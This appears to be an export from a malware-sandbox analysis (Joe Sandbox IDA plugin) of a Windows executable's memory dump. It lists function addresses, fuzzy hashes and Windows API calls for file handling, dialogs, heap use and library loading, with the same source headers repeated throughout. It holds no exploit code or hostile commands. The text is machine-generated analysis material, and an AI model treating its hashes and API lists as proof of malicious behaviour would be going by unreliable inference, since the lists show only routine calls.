Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: CodeInfoPageValid
String ID:
API String ID: 546120528-0
Opcode ID: 8a2ecd3aea2490a990bd45950b4c61931c02a380e5637d00919b8cc7125506d4
Instruction ID: 97bab59eae80795ccd3a0ad95f0d046b9163c654d45d4b0cf671d33b21453db3
Opcode Fuzzy Hash: 8a2ecd3aea2490a990bd45950b4c61931c02a380e5637d00919b8cc7125506d4
Instruction Fuzzy Hash: C451F0B19043079EFB218F75C885EFABBE6AF41300F14406FD0968A752E6399942DBA0

Function 000BACD4 Relevance: 3.1, APIs: 2, Instructions: 134COMMON

Download Yara Rule

APIs

SetFilePointer.KERNEL32(000000FF,?,?,?,-000018C0,00000000,00000800,?,000BACB0,?,?,00000000,?,?,000B9C8B,?), ref: 000BAE3A
GetLastError.KERNEL32(?,?,000B9C8B,?,?,?,-000018C0,?,-00002908,00000000,-00000880,?,00000000,?,?,00000000), ref: 000BAE49

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: 9ae8f6f8fc0e769d8941d9ddf4f3db031ac0a29f7e6a3047e2a48e0db885e131
Instruction ID: dc5ea3ba2a5547da954f9ec2553b3093c766172491100115bafa55060faf962b
Opcode Fuzzy Hash: 9ae8f6f8fc0e769d8941d9ddf4f3db031ac0a29f7e6a3047e2a48e0db885e131
Instruction Fuzzy Hash: 254101347043458BDB34AF24C888AEE73E5FB5A322F10062EE89787A51D775DC858B53

Function 000CA59B Relevance: 3.1, APIs: 2, Instructions: 113COMMON

Download Yara Rule

APIs

ShowWindow.USER32(00000000,00000005,?,?,?,?,000CA7F6,00000000,?), ref: 000CA699
SetWindowTextW.USER32(00000000,00000000), ref: 000CA6A3

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: Window$ShowText
String ID:
API String ID: 1551406749-0
Opcode ID: dc4491d2ac72366d24330c74384f3919a0bc5d14ae3d3127441e147668284da2
Instruction ID: ecc0fe5346886d7485a088903c9d3e9e8f4f02243ec471a47a328d3fefcb0cc7
Opcode Fuzzy Hash: dc4491d2ac72366d24330c74384f3919a0bc5d14ae3d3127441e147668284da2
Instruction Fuzzy Hash: 45314B3170071AAFD714DF64EC88E1EBBE9BF49704B09051EF6459B260DB71AC41CBA6

Function 000DCBD7 Relevance: 3.1, APIs: 2, Instructions: 91COMMON

Download Yara Rule

APIs

Part of subcall function 000DA505: GetLastError.KERNEL32(?,000F30C4,000D5972,000F30C4,?,?,000D53ED,?,?,000F30C4), ref: 000DA509
Part of subcall function 000DA505: _free.LIBCMT ref: 000DA53C
Part of subcall function 000DA505: SetLastError.KERNEL32(00000000,?,000F30C4), ref: 000DA57D
Part of subcall function 000DA505: _abort.LIBCMT ref: 000DA583

Part of subcall function 000DCCFE: _abort.LIBCMT ref: 000DCD30
Part of subcall function 000DCCFE: _free.LIBCMT ref: 000DCD64

Part of subcall function 000DC96B: GetOEMCP.KERNEL32(00000000,?,?,000DCBF4,?), ref: 000DC996

_free.LIBCMT ref: 000DCC4F
_free.LIBCMT ref: 000DCC85

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: _free$ErrorLast_abort
String ID:
API String ID: 2991157371-0
Opcode ID: 7a180ac5d152a4966fc5d9eed213d61f40e2dbd97f9e08bb06836c2757b6849b
Instruction ID: c73a0e8c76c84a5b5b8b8ca8875558e7ac424faaa93df24c1c9a07853cca1f0a
Opcode Fuzzy Hash: 7a180ac5d152a4966fc5d9eed213d61f40e2dbd97f9e08bb06836c2757b6849b
Instruction Fuzzy Hash: 5631B33191430AAFEB14DB68D840EA9B7E5AF41320F25409BE5089B392EB369D40DB60

Function 000BB032 Relevance: 3.1, APIs: 2, Instructions: 83timeCOMMON

Download Yara Rule

APIs

FlushFileBuffers.KERNEL32(?,?,?,?,?,?,000B7ED0,?,?,?,00000000), ref: 000BB04C
SetFileTime.KERNEL32(?,?,?,?), ref: 000BB100

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: File$BuffersFlushTime
String ID:
API String ID: 1392018926-0
Opcode ID: 1a4ce533ec2cc1717335771268fb66d94e7f1bfa37c8f74b6483b77354ec1ef9
Instruction ID: 7c392a3f6631ed22f785a989f51e0a04132fe59fe667877717d4c795abdb6279
Opcode Fuzzy Hash: 1a4ce533ec2cc1717335771268fb66d94e7f1bfa37c8f74b6483b77354ec1ef9
Instruction Fuzzy Hash: C121F031269241DBC724EF64C891AFBBBE4AF91304F04491CB4E183141D7A9E90C9B62

Function 000BA8CE Relevance: 3.1, APIs: 2, Instructions: 82fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,?,00000001,00000000,00000002,00000000,00000000,?,00000000,?,?,?,000BB1B7,?,?,000B81FD), ref: 000BA946
CreateFileW.KERNEL32(?,?,00000001,00000000,00000002,00000000,00000000,?,?,00000800,?,?,000BB1B7,?,?,000B81FD), ref: 000BA976

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 1a0330b377e1dc9f20d40dd131323e844f1508d0aab4ceffc2e008adfaa65e04
Instruction ID: 8f16f03ade6bb0a4fc7834cd15ee7230cff46e5edbbabb0340ff43529c313063
Opcode Fuzzy Hash: 1a0330b377e1dc9f20d40dd131323e844f1508d0aab4ceffc2e008adfaa65e04
Instruction Fuzzy Hash: C921D071604344AEE3708A25CC88FF776DCEB4A321F010A2DF9D5C21D2C778A8859672

Function 000BB110 Relevance: 3.1, APIs: 2, Instructions: 56COMMON

Download Yara Rule

APIs

SetFilePointer.KERNEL32(000000FF,00000000,00000000,00000001), ref: 000BB157
GetLastError.KERNEL32 ref: 000BB164

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: 89d8c33f4eee953684bcc3f3fbe27dc6d980a451235368cee7cc5ab91b294767
Instruction ID: c4d5b7464274cba79b33d229587384f588c3d9e95f4eed50494642f487886e1d
Opcode Fuzzy Hash: 89d8c33f4eee953684bcc3f3fbe27dc6d980a451235368cee7cc5ab91b294767
Instruction Fuzzy Hash: 3A11E131600700ABE735CA2CCC64BEAB3E9BB44370FA04B29E192935D0EBB4ED05C760

Function 000DA694 Relevance: 3.0, APIs: 2, Instructions: 44memoryCOMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 000DA6B5

Part of subcall function 000DA7EE: RtlAllocateHeap.NTDLL(00000000,?,?,?,000D5584,?,0000015D,?,?,?,?,000D6A60,000000FF,00000000,?,?), ref: 000DA820

HeapReAlloc.KERNEL32(00000000,?,?,?,?,000F30C4,000B187A,?,?,00000007,?,?,?,000B13F2,?,00000000), ref: 000DA6F1

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: Heap$AllocAllocate_free
String ID:
API String ID: 2447670028-0
Opcode ID: 7abb679aed427eb418e10d604bab4bbb8807188ca3ecef5764fb9279e3b28c98
Instruction ID: 91893600306f83bc5061c2c20a12c34064911405b78c7a1a7428943cae472b8f
Opcode Fuzzy Hash: 7abb679aed427eb418e10d604bab4bbb8807188ca3ecef5764fb9279e3b28c98
Instruction Fuzzy Hash: DEF06232301315E6DB613A26AC45AAB3B989F83BB1B1D4027F855AA3A2DB30DC009577

Function 000C23B6 Relevance: 3.0, APIs: 2, Instructions: 33COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?), ref: 000C23C3
GetProcessAffinityMask.KERNEL32(00000000), ref: 000C23CA

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: Process$AffinityCurrentMask
String ID:
API String ID: 1231390398-0
Opcode ID: c80862ff5e3d2e50a22a99e64c64c3f81efcbf50ce60d98080ab35579212fd3b
Instruction ID: 453055281300e627fd8ebd50aaf83009b7d6484ddcd6bef0d88abef749fcf4fe
Opcode Fuzzy Hash: c80862ff5e3d2e50a22a99e64c64c3f81efcbf50ce60d98080ab35579212fd3b
Instruction Fuzzy Hash: 8FE09A32B10186A7DF098BA8AC89EAF72ECEB542047248179A603E3900E97CDE0546A0

Function 000BB8E6 Relevance: 3.0, APIs: 2, Instructions: 29COMMON

Download Yara Rule

APIs

SetFileAttributesW.KERNEL32(?,00000000,00000001,?,000BB5B5,?,?,?,000BB405,?,00000001,00000000,?,?), ref: 000BB8FA

Part of subcall function 000BCF32: _wcslen.LIBCMT ref: 000BCF56

SetFileAttributesW.KERNEL32(?,00000000,?,?,00000800,?,000BB5B5,?,?,?,000BB405,?,00000001,00000000,?,?), ref: 000BB92B

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: AttributesFile$_wcslen
String ID:
API String ID: 2673547680-0
Opcode ID: d36f6169eda9411548890dfef87fb6046ee55d46f35cdf5c68cf03c014256a08
Instruction ID: 126b383acc425e03405d6b1de52f2297de90c1acb01b9a1b5d1674f236ec1025
Opcode Fuzzy Hash: d36f6169eda9411548890dfef87fb6046ee55d46f35cdf5c68cf03c014256a08
Instruction Fuzzy Hash: D0F0A93110424ABBEF615FA0CC40BEA37ADBF047C5F008065BA44EA1A1DB75DD959A20

Function 000BB470 Relevance: 3.0, APIs: 2, Instructions: 27fileCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNEL32(?,00000000,?,000BA438,?,?,?,?,000B892B,?,?,?,000E37FF,000000FF), ref: 000BB481

Part of subcall function 000BCF32: _wcslen.LIBCMT ref: 000BCF56

DeleteFileW.KERNEL32(?,?,?,00000800,?,000BA438,?,?,?,?,000B892B,?,?,?,000E37FF,000000FF), ref: 000BB4AF

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: DeleteFile$_wcslen
String ID:
API String ID: 2643169976-0
Opcode ID: f481c9571abecb63c84e889b41a644397eb39ee648311bfdfccfab2eed92338a
Instruction ID: 61abd4baf3d9f57e56cc7435792c998fa78a5b6ccfddcbcfa25f021c854f87dc
Opcode Fuzzy Hash: f481c9571abecb63c84e889b41a644397eb39ee648311bfdfccfab2eed92338a
Instruction Fuzzy Hash: 52E022325002496BEB109BA0CC44FEA339DBF04782F044035BA04D60A2DBB4DC88DA14

Function 000CBD71 Relevance: 3.0, APIs: 2, Instructions: 26COMMON

Download Yara Rule

APIs

GdiplusShutdown.GDIPLUS(?,?,?,?,000E37FF,000000FF), ref: 000CBDA5
CoUninitialize.COMBASE(?,?,?,?,000E37FF,000000FF), ref: 000CBDAA

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: GdiplusShutdownUninitialize
String ID:
API String ID: 3856339756-0
Opcode ID: aed8c09e2bb2d36d49e0413cc8a303d74829a99d7604176badb5978c9ae52077
Instruction ID: 3363ad23d6cb9510badc43a5b0788c29b6feb10258e2cf96d0cd9af023f4fa11
Opcode Fuzzy Hash: aed8c09e2bb2d36d49e0413cc8a303d74829a99d7604176badb5978c9ae52077
Instruction Fuzzy Hash: 9BE06572604551EFC7119B49DC45B59FBA9FB89B20F04422AB41693760CB746801CA91

Function 000BB4D3 Relevance: 3.0, APIs: 2, Instructions: 25COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNEL32(?,?,?,000BB4CA,?,000B8042,?), ref: 000BB4E4

Part of subcall function 000BCF32: _wcslen.LIBCMT ref: 000BCF56

GetFileAttributesW.KERNEL32(?,?,?,00000800,?,?,000BB4CA,?,000B8042,?), ref: 000BB510

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: AttributesFile$_wcslen
String ID:
API String ID: 2673547680-0
Opcode ID: 9b5d484dd9e79bf61e7ca6c0369404b941f5ea7d758f10085350326c54465748
Instruction ID: b3ed23b2c45cf6ea7562845902b32432d7982ea4a8299f4f5481a2dd198a2842
Opcode Fuzzy Hash: 9b5d484dd9e79bf61e7ca6c0369404b941f5ea7d758f10085350326c54465748
Instruction Fuzzy Hash: 22E0D8315002686BDB30AB68DC04FD9779CEB497E2F0101B0FE45F7191D7709E418AD0

Function 000CEFF2 Relevance: 3.0, APIs: 2, Instructions: 25COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 000CF01C

Part of subcall function 000B4A20: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 000B4A33

SetDlgItemTextW.USER32(00000065,?), ref: 000CF033

Part of subcall function 000CC748: PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 000CC759
Part of subcall function 000CC748: KiUserCallbackDispatcher.NTDLL(?,00000000,00000000,00000000), ref: 000CC76A
Part of subcall function 000CC748: IsDialogMessageW.USER32(000103E6,?), ref: 000CC77E
Part of subcall function 000CC748: TranslateMessage.USER32(?), ref: 000CC78C
Part of subcall function 000CC748: DispatchMessageW.USER32(?), ref: 000CC796

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: Message$CallbackDialogDispatchDispatcherItemPeekTextTranslateUser__vswprintf_c_l_swprintf
String ID:
API String ID: 3954729096-0
Opcode ID: b02b25ac1a9930f6635e3f14bd97caba8f1cdb5723bba0d7516769ee2dab6730
Instruction ID: 648a3cf7b4812843df9727e4dc8a2cbc3e3ff724169b03812133efe6d2d758f6
Opcode Fuzzy Hash: b02b25ac1a9930f6635e3f14bd97caba8f1cdb5723bba0d7516769ee2dab6730
Instruction Fuzzy Hash: 08E068B250420C36EF02AB60DC0AFFE3AADAB053C9F040061B204E70A3D7B8D611DF22

Function 000C1B34 Relevance: 3.0, APIs: 2, Instructions: 24libraryCOMMON

Download Yara Rule

APIs

GetSystemDirectoryW.KERNEL32(?,00000800), ref: 000C1B4F
LoadLibraryW.KERNEL32(?,?,?,?,00000800,?,000C0633,Crypt32.dll,00000000,000C06AD,00000200,?,000C0690,00000000,00000000,?), ref: 000C1B71

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: DirectoryLibraryLoadSystem
String ID:
API String ID: 1175261203-0
Opcode ID: 69fca4c9e453082d8cc9cc39d706dd07ca3ec6b7a7b983c4225075214609ba5f
Instruction ID: 42351c796f40bcc4d760ab95022f276ac8651ee54cd0dbc9279b9f2ba33aee42
Opcode Fuzzy Hash: 69fca4c9e453082d8cc9cc39d706dd07ca3ec6b7a7b983c4225075214609ba5f
Instruction Fuzzy Hash: 3DE048768002686ADB1197A4DC48FDA77ACEF097C1F0400757645E2045DA74DA84CBF0

Function 000CB3B8 Relevance: 3.0, APIs: 2, Instructions: 23windowCOMMON

Download Yara Rule

APIs

GdipCreateBitmapFromStreamICM.GDIPLUS(?,?), ref: 000CB3D9
GdipCreateBitmapFromStream.GDIPLUS(?,?), ref: 000CB3E0

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: BitmapCreateFromGdipStream
String ID:
API String ID: 1918208029-0
Opcode ID: 7f2685e87673bf5f600afcd8bb396d02fd3883f5cf3593795f2658a83fa0732c
Instruction ID: aa0c5a0ded8b43bc2e73aeb6ec9db966d6ed0aa9f3702ed29b682480947dd518
Opcode Fuzzy Hash: 7f2685e87673bf5f600afcd8bb396d02fd3883f5cf3593795f2658a83fa0732c
Instruction Fuzzy Hash: EDE0ED71904658EFCB50DF59C941BDDB7F9EB04355F20806FE89693601D374AF049B91

Function 000D3D0C Relevance: 3.0, APIs: 2, Instructions: 19COMMON

Download Yara Rule

